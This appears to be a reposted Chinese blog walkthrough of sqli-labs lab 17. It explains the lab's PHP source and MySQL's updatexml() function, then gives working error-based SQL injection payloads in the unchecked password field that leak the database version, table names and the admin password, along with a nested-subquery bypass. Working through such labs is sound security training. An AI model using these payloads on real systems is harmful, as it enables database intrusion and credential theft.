sqli-labs(17)


 

0x01簡介

百度翻譯了一下 基於錯誤的更新查詢 字符型

第一次遇到這種情況 那我們先看看源代碼行吧

不懂函數的百度

$result  = mysql_query( $sql ); //返回查詢的數據的一個結果集,需要用php相應的mysql函數取值。比如mysql_fetch_array()這個函數。還有你說的前一節課用到的mysql_query(),這個函數是執行sql語句的,並不是取值。

$row = mysql_fetch_array($result)意思是從查詢結果里面獲取一行數據,這個語句的前面兩行大概是:
$sql='select a,b,c from .....';
$result=mysql_query($sql);
那么,執行這個語句之后,$row['a']、$row['b']等變量就有查詢數據的一條

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; 這句話是我自己的理解 這里的意思是在users列里面找到username字段對應的password並且更新它

這是別的理解

 

我們這里來看一下怎么處理usernm的

 

 只截取15個字符

get_magic_quotes_gpc()

當magic_quotes_gpc=On的時候,函數get_magic_quotes_gpc()就會返回1

當magic_quotes_gpc=Off的時候,函數get_magic_quotes_gpc()就會返回0

stripslashes()

刪除由 addslashes() 函數添加的反斜杠

ctype_digit()判斷是不是數字,是數字就返回true,否則返回false

mysql_real_escape_string()轉義 SQL 語句中使用的字符串中的特殊字符。

 那這里對useamane參數進行了 check 但是未對 passwrod進行檢查  因此我們可以從password下手

接下來看下updatexml這個函數,一直網上都說的很模糊,都只是給的payload:and (updatexml(1,concat(0x5c,version(),0x5c)),1),這里只看得出來需要三個參數,但是參數是什么意思缺一無所知,我們只能通過help來查看

 

 

從UpdateXML(xml_target, xpath_expr, new_xml)看出

第一個參數是目標是針對於xml文檔

第二參數是xpath的表達,這里可以看下xpath教程: http://www.w3school.com.cn/xpath/

 第三個參數是將xpath表達式轉換成什么,也就是替換查找到的符合條件的數據

以上看了下,表示還是有些懵逼。

那就來按照他的方式實例玩玩是怎么回事

 

 是不是沒看懂,為什么會這樣,我把內容拿出來分析

2)同樣的第二條UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2;可以看出將第一個參數的內容裝換為了<e>fff</e>,但是由於查找方式是從第一個點開始查詢,這里直接跳過了從第二開始查詢,所以沒有查詢到,看下面的說明

 

 

 

這樣一來使用//就可以隨便查詢了,不會考慮節點的位置問題,其他的就依次內推

那么分析完了接下來我們對password開始下手吧

0X01愛之初體驗

爆破版本

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,version(),0x5c),1))#submit=submit

 

 

 0X02表名的獲取

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x5c),1))#submit=submit

爆破列名同表名的方法

這里我們來看看字段名

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select password from users where username='admin'),0x5c),1))#submit=submit

按照道理這里不會錯啊 為什么會報錯吶?

 


 

 百度

搜嘎原來如此 那我們如何繞過吶?????

網上學習的大牛的思路 在構造一個select語句

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin')aa),0x5c),1))#submit=submit

 

少就是多 慢就是快 慢慢學


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM